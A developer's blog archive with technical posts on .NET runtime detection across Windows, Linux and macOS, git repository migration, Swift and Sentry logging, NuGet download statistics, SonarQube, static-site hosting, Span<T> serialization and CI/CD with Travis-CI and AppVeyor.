Bruno Garcia

[new blog](https://garcia.in)

2020-12-30T21:08:00.005+01:00

Dear Blogger.com, we need to talk.

Since I met markdown, I've been wanting to tell you. It's not going to work between us anymore.

Move repositories on GitHub without breaking links to PRs

2020-09-11T02:55:00.001+02:00

Since it took me way too much time to figure this out, I'll write it down for future references.

I needed to move a git repository from one GitHub repository to another one that already had code, past PRs, etc. It wasn't a simple rename which would make GitHub redirect everything. It was adding a new history from one repository to another, while not getting rid of the past tags, releases.

When you squash a PR on GitHub by default it'll write the commit message (#1)

Where the number following the # character is the PR number. When viewing this message on GitHub it'll link to the PR page on the repo.

If you simply push that git repo to another github repository, it'll link to the wrong PR page.

To fix that you need to rename the #1 to a fully qualified PR link that GitHub understands.

It has the format: organization/repository#1

For that, I've used a tool called git-filter-repo.

git filter-repo --commit-callback '
message = commit.message
new_msg = re.sub(br"(#(\d*))", br"org/repo\1", message, flags=re.MULTILINE)
print(new_msg)
commit.message = new_msg
' --refs HEAD

On the target repository I created an orphan branch:

git checkout --orphan main

Pull the rewritten repository into main branch, and pushed to remote. That's it.

Swift adventures: CocoaLumberjack logger

2020-09-06T23:15:00.002+02:00

I haven't had much contact with Swift other than writing a few unit tests on a project. So when someone asked about sending CocoaLumberjack logs to Sentry on the forum I thought it was a good excuse to write some Swift on the weekend.

To create an integration between two libraries written in Objective-C, to make sure you can support the most number of apps and platforms, the choice for a language is obvious: Objective-C.

The best thing about such a hobby project is:

Making sure you can support old code bases, where the developers have not invested in keeping things up-to-date doesn't not become a priority to you.

With that in mind, I went ahead with the latest stable Swift version: 5.2.

At the start I learned that I actually don't need xcode at all. So as part of my experiment, I decided to go without any of those xcworkspace, pbxproj, xcscheme etc, and use only Visual Studio Code.

And the Swift CLI:

swift build

and

swift run

With the right Visual Studio tasks and launch configuration I was even able to step through the code with the debugger. Generally really nice.

In the process I also learned about the Swift Package Index which builds your project with different Swift versions and targets and creates a badge describing the compatibility.

On top of all the fun learning a new language and ecosystem, I got a good reminder that dogfooding is an incredible tool. Specially when you're building APIs and SDKs. I would even say that it makes sense to have a project at work that the team could work together a few hours a week to get a good verification of the experience of using what you're building.

The code is here if you're interested: https://github.com/bruno-garcia/SentryCocoaLumberjack

The low res gif I recorded:

NuGetTrends: .NET libraries download trends

2019-07-16T22:47:00.001+02:00

I joined sentry.io just over a year ago. Soon after I started, I was tasked with writing a new .NET SDK for Sentry.

Throughout the previews, I was always curious if the releases were being downloaded at all.

I found myself checking nuget.org and looking at the Statistics for total downloads. It was obvious we in the .NET ecosystem were missing some package download stats website.

Welcome NuGetTrends, to the .NET community!

NuGetTrends is a website with historical total download count for NuGet packages on nuget.org.

There's data since 2013 which was contributed by ZZZ projects, the company behind the EF Extensions. Shout out to Jonathan! Thanks a lot! Unfortunately there's a gap in 2017 of about 10 months, though.

Also, the UI so far has predefined filter for as far back as 2 years and result is grouped by week. Query string takes months as an integer though so URL hack to have some fun.

The NuGetTrends workers go through the nuget.org's catalog API so all the package's metadata are available in its database. That means there's the potential to build some new cool stats like:

How many packages are signed.
Are the DLLs in the packages strong named.
Packages with unoptimized DLLs.
Stats package adoption of source link.
TFM adoption (ran some queries for this and it's great how .NET Standard 2.0 picked up fast).

For some of those feature we'd still need to download the actual packages and inspect its contents. There's some work there but this is the call for help!

Code's on GitHub: https://github.com/NuGetTrends/nuget-trends

Thanks to the contributors: https://github.com/NuGetTrends/nuget-trends/graphs/contributors

We're online on Gitter, if you'd like to chat.

It'd be great to get some help too!

Let's build something cool out of this? It would be great to see that contributors list grow.

.NET runtime information in different systems

2018-04-15T18:06:00.000+02:00

Edit:

I've created a repository on GitHub to expose an API which simplifies getting runtime, operating system and other platform information: https://github.com/getsentry/dotnet-sentry-platform-abstractions
If you are interested in contributing, please let me know. A few of issues were created to discuss API design and features, feel free to drop a message there.
There is already code to detect the different installations of the .NET Framework installed and also what runtime the code is running on. Preview versions are available on NuGet.org.

An output from the sample app is included under the samples directory.

Read on for details:

.NET Core is great multi-platform framework. In my previous job, most of the team members were working on Windows, I worked on a MacBook and we deployed stuff to CentOS and Windows Servers. Build servers had a mix of Windows Server 2012 R2, Windows Server 2016 and a lonely CentOS and it all worked just fine.

The truth is that there are lots of business applications which are built with .NET Framework in a variety of versions with active development. At my new job (it's been 2 weeks), there's a focus in integrating all kinds of technologies and frameworks/versions to make developer's life's easier. If for example you maintain a Windows Form application built 6 years ago, targeting .NET Framework 4.5 which Microsoft has dropped support to 2 years ago, it's possible that a tool like Sentry is even more vital to you. I'd still recommend you upgrade to 4.5.2 though, at least, if possible.

Because of that, it's one of Sentry's .NET SDKs goals to target as many framework versions as possible. It currently even supports .NET 3.5 which was released 10 years ago and cannot be built with the new msbuild SDK.

While working on adding a feature to Sentry's SDK which augments the events sent to Sentry with data about the system where the app is running, I was presented with a different set of APIs available to different versions of the framework. For example, when targeting netstandard2.0, it's possible to retrieve the framework information with:

System.Runtime.InteropServices.RuntimeInformation.FrameworkDescription

This API does not exist in versions prior to 4.5. My first idea was to copy the CoreFX implementation but once I saw the #ifdef's I realized it's not possible as I'm not generating assemblies just to have .NET Native or .NET Framework etc. This was just one example, there are many more APIs I'd like to use that will differ depending on the target framework.

CoreThrower

To help me test different scenarios, I wrote a script (batch and bash versions) to build and run a simple app that throws an error with the Sentry .NET SDK restored from some local path. It has the following targets:

netcoreapp2.0
net471
net46
net452
net45
net40

Considering that all .NET 4.x are in-place installations, all I'm doing here is making sure I can build the app and load the NuGet package against those versions. Compiling uses reference assemblies to ensure compatibility. In runtime, it'll use the v4.0 folder with the CLR 4.0.

The .NET Core 2 version runs with CoreCLR on all platforms. The full framework versions will run with Mono on macOS and Linux and on Windows, the desktop (full) .NET Framework .

This tool is useful to me to get a locally built Sentry SDK and run in different environments.
I ran it on:

macOS 10.13.3 High Sierra
Windows 10 Pro Fall Creator
Ubuntu 16.04.3 LTS (Windows Subsystem for Linux)
Windows 7 32bit
CentOS 7

All of them have .NET Core SDK 2.1.104.

While dealing with the full framework builds and runs I had a few surprises though:

Windows 7 x86

I verified (through the Windows registry) that the Windows 7 machine has version .NET Release number 378389. That means the plain .NET Framework 4.5. Although 4.7.1 is compatible with Windows 7 32 bits, I decided not to update it to verify which versions of the program and the SDK would work properly. I copied the reference assemblies to allow me to build all versions:

Windows 10 (64 bits): C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework

To the Win7 (32 bits): C:\Program Files\Reference Assemblies\Microsoft\Framework

At this point running run.cmd successfully compiled all versions and ran all versions! That was to my surprise since the versions ahead of 4.5 could very well fail. It does make sense though since the application itself is not using any .NET 4.6+ API and Sentry's SDK is targeting net45 as the latest besides netstandard2.0.

That also means that the netstandard2.0 version was not restored to any of the net4x versions. Since Considering I'm using the .NET Core 2.0 SDK I would expect the targets net46 and net471 to restore the netstandard2.0 version of the Sentry SDK. Another possibility is that I have no idea why it worked ;)

At sentry.io I see:

That surely needs some work: The events sent by the .NET Core version of the app shows the CoreCLR version (4.6.26212.01) followed by the .NET Framework 4.6+ version (4.0.30319.42000) which is not even installed on the machine. The middle entry shows 4.0.30319.18063. At least the value looks correct. It represents .NET 4.5 on Windows 7 SP1.

The values presented have two parts where the first is runtime name and the second is the version which was coming from the API:

System.Environment.Version

Microsoft does have a disclaimer on this API:

For the .NET Framework 4.5 and later, we do not recommend using the Version property to detect the version of the runtime; instead, you can determine the version of the common language runtime by querying the registry. For more information, see How to: Determine Which .NET Framework Versions Are Installed.

From MSDN

The version name and number get combined and depending on the version of the framework the code compiled against it shows the latest .NET Framework installed or simply the CLR version.

Needs work but for now lets see what shows up on the other systems:

Ubuntu 16.04 (WSL)

The WSL installation of Ubuntu I have, included OOTB Mono version 4.6.2:

$ mono --version

Mono JIT compiler version 4.6.2 (Debian 4.6.2.7+dfsg-1)

TLS: __thread

SIGSEGV: altstack

Notifications: epoll

Architecture: amd64

Disabled: none

Misc: softdebug

LLVM: supported, not enabled.

GC: sgen

This version does not implement netstandard2.0. That was only introduced in version 5.4 back in November 2017. I took the same approach I had with the Win7 box: Try to build and run with an older version.

... /usr/share/dotnet/sdk/2.1.101/Microsoft.Common.CurrentVersion.targets(2052,5): warning MSB3245: Could not resolve this reference. Could not locate the assembly "System.Net.Http". Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj] CSC : error CS0006: Metadata file '/mscorlib.dll' could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj] CSC : error CS0006: Metadata file '/mscorlib.dll' could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj] CSC : error CS0006: Metadata file '/mscorlib.dll' could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj] CSC : error CS0006: Metadata file '/mscorlib.dll' could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj] CSC : error CS0006: Metadata file '/mscorlib.dll' could not be found [/mnt/c/Users/bruno/git/CoreThrower/CoreThrower.csproj] 63 Warning(s) 5 Error(s)

With the exception of the netcoreapp2.0 target, nothing would build. Using FrameworkPathOverride I configured the projects' csproj to look into mono's path for the reference assemblies but realized that there was actually nothing there. Considering Mono dropped support to pre-net45 reference assemblies on Mono 4 I had to install anyway the package for net40:

apt-get install mono-reference-assemblies-4.0

After that, I was still missing the newer packages. Makes sense since I was on an older version of Mono. This can be solved by taking them directly from GitHub:

cd /usr/lib/mono

sudo git clone https://github.com/mono/reference-assemblies.git

sudo cp -r reference-assemblies/v* .

sudo rm -rf reference-assemblies/

The directories still needs renaming, to the expected format: remove v prefix and add -api suffix:

sudo sh -c 'for dir in v*; do mv "$dir" "${dir#v}-api"; done'

Build successful! That doesn't mean it will run and indeed it didn't.

First error:

Running: bin/Release/net46/CoreThrower.exe

Unhandled Exception:

System.IO.FileNotFoundException: Could not load file or assembly 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies.

File name: 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'

at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1650 + 0x0010f> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1610 + 0x00019> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc15e0 + 0x00019> in <filename unknown>:0

at CoreThrower.Program.Main (System.String[] args) <0x7ffc1080 + 0x001db> in <filename unknown>:0

at CoreThrower.Program.<Main> (System.String[] args) <0x7ffc0f10 + 0x0001b> in <filename unknown>:0

[ERROR] FATAL UNHANDLED EXCEPTION: System.IO.FileNotFoundException: Could not load file or assembly 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies.

File name: 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'

at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1650 + 0x0010f> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1610 + 0x00019> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc15e0 + 0x00019> in <filename unknown>:0

at CoreThrower.Program.Main (System.String[] args) <0x7ffc1080 + 0x001db> in <filename unknown>:0

at CoreThrower.Program.<Main> (System.String[] args) <0x7ffc0f10 + 0x0001b> in <filename unknown>:0

The first thread I found on the topic pointed out that I need to have libmoono-system-core4.0-cil installed. 30 seconds later I was running it again:

Running: bin/Release/net46/CoreTh

rower.exe

Unhandled Exception:

System.IO.FileNotFoundException: Could not load file or assembly 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies.

File name: 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'

at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1650 + 0x0010f> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1610 + 0x00019> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc15e0 + 0x00019> in <filename unknown>:0

at CoreThrower.Program.Main (System.String[] args) <0x7ffc1080 + 0x001db> in <filename unknown>:0

at CoreThrower.Program.<Main> (System.String[] args) <0x7ffc0f10 + 0x0001b> in <filename unknown>:0

File name: 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'

at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc1650 + 0x0010f> in <filename unknown>:0

at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine& stateMachine) <0x7ffc15e0 + 0x00019> in <filename unknown>:0

at CoreThrower.Program.Main (System.String[] args) <0x7ffc1080 + 0x001db> in <filename unknown>:0

at CoreThrower.Program.<Main> (System.String[] args) <0x7ffc0f10 + 0x0001b> in <filename unknown>:0

As pointed out further down in the same thread I linked above, mono-complete does the job:

sudo apt-get install mono-complete

Setting up mono-complete (4.2.1.102+dfsg2-7ubuntu4) ...

Wait, what? Mono 4.2? I didn't change any of Ubuntu's package feed I don't think, did it just downgrade from 4.6.2 to 4.2.1?

Mono JIT compiler version 4.2.1 (Debian 4.2.1.102+dfsg2-7ubuntu4)

TLS: __thread

SIGSEGV: altstack

Notifications: epoll

Architecture: amd64

Disabled: none

Misc: softdebug

LLVM: supported, not enabled.

GC: sgen

It looks like it did and if I now: ./run.sh

Finally, it works!

At sentry.io I see:

Although I've installed the same SDK version on both Win7 and Ubuntu, the latter is returning only 4.6.0.0 compared to 4.6.26212.01 returned on Windows.

Windows 10 Pro

Straight forward. I have .NET Framework 4.7.1 and Visual Studio on this box so it built and ran without issues.

The first item is created by the net40 version of the app. Since it doesn't have the same APIs as net45+. It's using Environment.Version mentioned above which is far from ideal.

The rest of the results are OK with the exception of the "or higher" which came as a result of the version being higher than 461308. I'll need to rework this too.

CentOS 7

Using the official .NET Core and Mono install links I got their SDKs installed really quickly.

Latest Mono version: 5.10.1.20 and .NET Core SDK 2.1.101

Pull the code, pushed the nuget package to the checkout directory and ran ./run.sh

Works fine and I get some events at sentry.io.

Like the Ubuntu version, .NET Core only include the major and minor version numbers of the CoreCLR.

macOS

The macOS device is my work computer so I might have installed reference assemblies before, I don't remember. Things ran just fine and the Mono version there is 5.8:

It seems that only on Windows the API RuntimeInformation.FrameworkDescription returns the whole version number including build and revision.

Other system information

Above I've discussed only the 'Runtime' context information that Sentry handles. There's much more data that Sentry's SDK will extract and send with events. Lots of them are challenging when multi-targeting from netstandard2.0 all the way down to net35 and running on Windows, macOS, Linux, Tyzen, iOS, WebAssembly (blazor?) and whatever else we can use a .NET NuGet package in now and in the future.

Conclusion

I still have a lot of work ahead to get this context data sent to sentry in a unambiguous way. This was just the first try though.

Getting started with SonarQube and .NET Core

2018-03-04T18:02:00.000+01:00

SonarQube

I decided to check SonarQube now that it finally supports .NET Core and the new MSBuild SDK format.

SonarQube is an open source product from SonarSource. They have a hosted instance called SonarCloud which is free for open source projects! Besides SonarQube, there's also an IDE plugin called SonarLint.

SonarLint

I started testing SonarLint out to see if it was even worth setting up SonarCloud. As a test project I picked a tiny OSS library I wrote a few months ago for ASP.NET Core Basic Authentication.

SonarLint will run the analysis while using the IDE's Error/Warning panels to notify you when it finds something. Although they support IntelliJ IDEA, the support doesn't include Rider. The support to VSCode doesn't include C# either. Bummer. But honestly there's still no code coverage for CoreCLR yet outside of Windows either.

I tested the Visual Studio plugin and ironically, I was happy to see a warning:

Indeed. I should make that class static.

I happen to have ReSharper which is a great (paid) tool by JetBrains. I ran its Inspection/Code issues in Solution and it didn't pick this one up. JetBrains Rider which I use on my work computer (macOS) has the same inspection feature. They do give awesome feedback even though there's no warning for this specific issue.
Please note that both are amazing tools. In any case, it's hard to expect that all contributors of an OSS project will have licenses. JetBrains provide licenses to open source project maintainers but not for such small projects like the ones I have.

Running the analysis

Now that I had a project with a warning, I could test running the analysis scanner on my machine and see what the results look like on the hosted instance SonarCloud. The analysis scanner (although requires Mono, .NET Core and Java) can be executed on macOS and Linux but as today I'm on a Windows 10 box, I followed this guide. The only thing I did differently was that I didn't invoke MSBuild directly, I used the CLI: dotnet build instead. It's really just 3 commands including your build command.

I was sad to discover that it requires Java in order to run the MSBuild scanner. I've got a clean Windows 10 install a few months ago and I was very happy not to have Java installed. SonarQube is nice enough to convince me to install it though. Can't wait to see those Java update notifications every week!

The analysis took quite a while to run (over 5 minutes). Perhaps because it was the first run, but the report was sent!

The link to the results is part of the output:

Now I can browse the results at: https://sonarcloud.io/dashboard?id=Bazinga.AspNetCore.Authentication.Basic

It was a good quick getting started for me. I'll consider it now for bigger projects too and explore the many features it has.

CentOS build agent and .NET Core SDK versions

2018-02-12T14:13:00.001+01:00

Our build server running on CentOS ends up building different repos, which use different versions of the .NET Core SDK.

The SDK version is defined via global.json and instructs the CLI which version to load in that context.

Surely the CLI is smart enough to roll forward. That means in case you target version 2.0.2 and the machine only has 2.0.3, it will (should) work just fine with that version.

I've tested setting my global.json to 2.0.2 where only SDK version 2.0.0 was available:
$ dotnet --version
2.0.0

Surprising to me it built and tests passed without warnings. So it also rolls backwards somehow.

When the exact SDK version defined via global.json is available, that's the one used by the CLI.
I believe that's a safer approach to have on a build server. Which means having all SDK versions in all agents.

That is, regardless which agent the build runs, it'll always use the same SDK version. Otherwise potentially one agent, created at a later time, could lack the exact SDK version used via global.json.

Installing all SDK versions

Using yum's wildcard, it's easy enough to install every single .NET Core SDK available on the official Microsoft feed, simply by:

$ sudo yum install dotnet-sdk-*

As an example, this agent had only the SDK version 2.1.4 (the latest one).

By running yum install dotnet-sdk-* on this machine:

Easy enough.

All SDK versions made available by Microsoft are now installed.

Hosting a static site over HTTPS for free

2018-02-04T16:58:00.000+01:00

I own the domain brunogarcia.com for over 10 years now. The use I have of it is basically an e-mail address and this blog which for years I didn't post new content to.

Yesterday I decided it was time to add a landing page to it.

With the amazing artistic skills I possess, I sat in front of the PC and spent more time than I'm willing to admit thinking of what to do and messing around with HTML and CSS. After a lot of back and forth I deleted any framework from it and the result was 1 image, a favicon and 5 links (sigh).

I have no intention of making profit from my art so I've published my favicon via Creative Commons.
Feel free to use, redistribute and make lots of money from it.

At that point I had a couple files to publish.
As a .NET guy, I started off considering Microsoft's Azure. I've hosted stuff there for free before. That was when I used it for the first time back in 2011 or 2012 when they had a Silverlight portal. There were not many features (compared to now) but it was straight forward to host a .NET app.
Azure grew to an amazing cloud service with so many options and amazing (and slow) portal to configure everything.

This time though, all I had was just a handful static files. I didn't need an app server!

I couldn't find a way to host at either Azure nor Google Cloud, for free, a static site under my own domain so I could use Let's Encrypt and have a free certificate. There were options only using CNAME but that was not an option since the TLS certificate would invalidate.

After a bit of a research I discovered Firebase. Super simple setup. The portal just walks you through. Free hosting of static files and a nice nodejs deployment tool that you can pull off of npm. It allows you add your own domain with TLS. Easy redirect from HTTP to HTTPS. It just took 5 minutes!

After that I decided to check out Cloudflare. Again super easy to setup. Fast and free and again with a valid certificate and all traffic through HTTPS. With a single rule I was able to enable caching of the HTML file too. To hit the back end directly, bypassing Cloudflare, there's a single button: Enable development mode. That changes the DNS records from Cloudflare servers directly to Firebase. It's virtually instant too.

Another cool thing about Cloudflare is the Overview page. I don't have 24 hours of data yet so part of the analytics is empty but I have some DNS statistics. Including Top Traffic Origins:

The only problem I had was that by default I had an endless redirect! It was quick to find a solution though which was setting via the Crypto menu the Full mode instead of the default Flexible. That means that Cloudflare will contact the backend (Firebase) via HTTPS only instead of hitting the plain HTTP, which returns a redirect to HTTPS and hence the endless redirect.

Finally, I've pushed it to GitHub, which serves as my personal backup.

It's worth noting that at this point another option was to use GitHub pages instead of Cloudflare. Especially since I'm pushing the files there anyway. One limitation GitHub pages have is that you can't use your custom domain with HTTPS. But that's done by Cloudflare unless I enable development mode.

It's nice to have https://brunogarcia.com returning a couple of tiny static files without having to pay for it.

Big Thanks to Firebase, Cloudflare and also Optimizilla which I used to compress the image, Fontastic for creating icons bundle and favicon.cc to allow me showing off my artistic gift.

Looking forward to dive into the paid features they offer with a real application!

ISerializer with Span<T>

2017-12-04T00:31:00.003+01:00

While trying out the new Span<T> type from System.Memory package I encountered an error:

typeof(System.InvalidProgramException): Common Language Runtime detected an invalid program.

At first I thought that must be a bug since System.Memory package is still a preview release but it turns out that it's by design.

I was experimenting with using ReadOnlySpan<T> instead of byte[] on Greentube.Serialization.

The contract became:

Once I fixed the compiler related problems, I ran all tests but 6 of them failed:

After learning a bit more about Span<T>, mostly thankfully to great documentation from Adam Sitnik I was able to understand what was going on.

Firstly the Assert.Throws<T> case:

[Fact] public void Serialize_NullObject_ThrowsNullArgument() { var sut = new MessagePackSerializer(new MessagePackOptions()); Assert.Throws<ArgumentNullException>(() => sut.Serialize((object) null)); }

The problem here is that the compiler will resolve () => sut.Serialize(object)) as Func<ReadOnlySpan<byte>>. That's unfortunately illegal since Span<T> (and ReadOnlySpan<T>) are stack-only types. It can't end up on the heap so it's not allowed to be a generic type.
I'm not going to try to explain better than Adam Sitnik so please refer to his doc for more.

The fix:

The work around here is simple enough. I've just added: { }

What the compiler resolves it as now is a simple Action since I'm ignoring the return of the Serialize method which is of type ReadOnlySpan<T>. Now the test passes again.

I've also changed the implementation from a null check to a default value check since Span is a value type. Now the exception thrown is ArgumentException instead.

The other problem was related to NSubstitute. Having a subtitute of ISerializer is a problem since internally NSubstitute will keep a reference to it which would require boxing the argument of type ReadOnlySpan<T> and that results on the same 'Common Language Runtime detected an invalid program.' error.

To solve that, I used a Stub instead of an NSubstitute mock.

CI/CD for .NET with GitHub/Travis-CI/AppVeyor/Codecov/NuGet

2017-12-02T15:14:00.001+01:00

I recently setup continuous integration for a few open source projects. I used GitHub, AppVeyor, Travis-CI and Codecov. The resulting packages are deployed to NuGet.org.

Here I aim to describe the process in an attempt to document it both for myself and hopefully help others in getting started with it.

Scenario

I have some .NET Core projects on GitHub that are actually just .NET Standard libraries.

Ultimately, once they are built and tested on Windows, MacOS and Linux, I want them published to NuGet.org.
I also want to use GitHub's Release feature to document what I am pushing to NuGet.

Some of these projects actually generate more than one NuGet package. That's the case for Greentube.Messaging, Greentube.Serialization and Greentube.Monitoring. Depending on the change I make, I might be looking at publishing any number of those packages. I don't want to publish all packages created while building the repository every time.

TL;DR

Travis-CI is used only to build and run tests on MacOS and Linux.
AppVeyor, which runs on Windows, builds, run tests while tracking code coverage and sends the results to codecov.io. The result of AppVeyor's build are artifacts, .nupkg files (aka: NuGet packages) ready to be sent to Nuget.org.

If AppVeyor is building a tag, it changes the build version to be the value of the tag. That sets the actual version of the NuGet packages created. Also, AppVeyor then creates a GitHub release in draft mode.

At that point from AppVeyor I can publish individual packages to NuGet with a button click.
The release notes can be added to the GitHub Release and then it can be published.

How?

Nearly all settings to AppVeyor, Travis-CI and Codecov are defined on their respective configuration files. Although it's possible to configure all of those via their Web UI, I personally rather use the text configuration file which is version controlled.

Travis-CI

Previously I mentioned there's no code coverage coming from the Travis-CI build. That’s because as of today there's no way to do it. OpenCover and vstest don't support Linux or MacOS because there's still no released profiling API for those platforms. That seems to be going to change soon though.
Nonetheless, Travis-CI is a very nice, free for open source, CI system. Changes pushed to GitHub automatically trigger a build in both Linux and MacOS:

Using the Greentube.Messaging Travis-CI configuration file as an example: .travis.yml

language: csharp sudo: false mono: none os: - linux - osx osx_image: xcode8.1 dotnet: 2.0.0 dist: trusty env: global: - DOTNET_SKIP_FIRST_TIME_EXPERIENCE=true - DOTNET_CLI_TELEMETRY_OPTOUT=1 script: - ulimit -n 512; dotnet restore && ls test/**/*.csproj | grep -v 'Greentube.Messaging.Testing' | xargs -L1 dotnet test -c Release

Firstly note that mono is set to none since I'm building with dotnet here. Since tests run CoreCLR, only .NET Core SDK is required. I'm bulding the specific projects although from the SDK version 2.0.0 forward or so it's possible to build a solution file. That is because all I want here is to run my tests. Running dotnet test will build the dependent projects which in turn will run a dotnet restore if required. Again, this was not possible with .NET Core SDK 1.x.

The ulimit -n 512 is there to solve a problem when restoring NuGet packages which open too many connections. Also while trying to solve a problem, I've added osx_image: xcode8.1 to be able to build with .NET Core SDK 2.0.

There're tons of other examples on how to get Travis-CI to build a .NET Core project.

AppVeyor

Here there's more going on. Besides building all commits, including pull requests, AppVeyor will take code coverage and send it to codecov, create GitHub Releases and publish packages to NuGet.

I'm going to start by describing things before spitting the configuration file in front of you:

Code coverage

I've tried to summarize the code coverage setup on StackOverflow before but it was never marked as an answer so here goes another try. :)

Configuration

All project files have an extra configuration called Coverage with: DebugType=full

The reason for the full PDB configuration is that by default it compiles with portable pdbs and those are still not supported.

Run

Code coverage is tracked with OpenCover. I wrote a simple powershell script that will download the necessary tools and, using the .NET Core CLI, it runs all tests while tracking code coverage.

It has two optional arguments:

generateReport

Generates an HTML report useful for testing things before sending to Codecov

uploadCodecov

Sends the coverage data to Codecov.io

Previously I mentioned that nearly all settings are source controlled. That is not true to the API KEY used to send code coverage results to Codecov. That value is defined as an environment variable (named CODECOV_TOKEN) on AppVeyor.

Packaging

The projects being built don't have their version on csproj defined before committing to GitHub.

They are always set to 0.0.0 and that gets replaced (aka patched) by AppVeyor before building and packaging it.

As mentioned before, the result of AppVeyor builds, as other CI systems, are called artifacts. What is included in the artifacts list is specified via the configuration key with that same name. A glob pattern to include app nupkg is enough then.: '**\*.nupkg'

Packages are created with the dotnet pack command. That is true to all but 1 package: metapackage

Metapackage

One thing I've left out of the summary is the creation of a metapackage. That's an attempt to ease into the API adoption by providing the simplest way to get started.

Note that obviously the packages referenced by this metapackage are not included in the runtime package store. That means that using this will in fact include the dependent packages in your publish output.

I'm publishing two metapackages, each from their own repository:

Someone wants to try the API? Run a single dotnet add package command and all of the building blocks are available to them.

I don't expect it to be used in production though. I advise the fine grained approach instead (pay-for-play).

Create

Runing dotnet pack on a project that has no code yields no package!

The CLI will not build up an empty package. To create a metapackage you need to use a nuspec file.

To pack this one up, there's a line in the configuration invoking nuget pack instead.

Creating a Release

I've added to .appveyor.yml (see below) a piece of powershell which resets the version of the build to the tag if that's what's being built.

Pushing a tag is the method to express the intent of a creating release.

I'm using semver and NuGet already takes packages versioned N.N.N-something as a pre-release package.

That means a tag 1.0.0-beta will publish a pre-release package. On the other hand, if the tag is simply 1.0.0, that'd be a plain release.

GitHub on the other hand doesn't handle that automatically. AppVeyor creates the draft release on GitHub but at the bottom of the page before publishing, I still need to select that option:

AppVeyor will push every artifact of that build to GitHub's drafted release. Considering that I do not always publish all packages to NuGet, I remove whatever package I didn't publish to NuGet before finalizing the GitHub release.

In other words:

Push a tag to GitHub,
Publish desired packages to NuGet through AppVeyor UI (more below).
Remove from the GitHub release the packages not deployed on the next step
Publish release on GitHub (green button above)

NuGet

Publishing to NuGet is not done automatically as a result of the release creation mentioned above. The reason is that each build results in multiple packages as artifacts and publishing is a all or nothing approach.

I'm looking for publishing packages in a selective way. AppVeyor has environments which can be configured to deploy specific artifacts from specific projects. Those can also be defined via the configuration file but you'd still need to define which 'environment' (aka: package) you want to deploy anyway. At that point I've chosen to use AppVeyor's UI to set-up these environments.

The way I've done it is: one AppVeyor's environment for each package:

To get something deployed I can click a single button which pushes that single package to NuGet.org.

Differentiating each of those is done via regular expressions. For example the RegEx for the first item on that image is:

/Greentube\.Messaging\.\d.\.nupkg/*

I'm still trying to push the markdown docs automatically together to NuGet. I've asked about it on StackOverflow a few days ago but still not answer.

One downside of this approach is that the dependencies between the packages have to be tracked by yourself.

For example:

If I want to publish Greentube.Messaging.DependencyInjection.Redis, I need to take into consideration that it depends on Greentube.Messaging.DependencyInjection which in turn depends on Greentube.Messaging of the same version.

For that reason, the 3 packages have to deployed otherwise restoring the first one will fail.

Configuration

Again using the Greentube.Messaging as an example, here's the .appveyor.yml

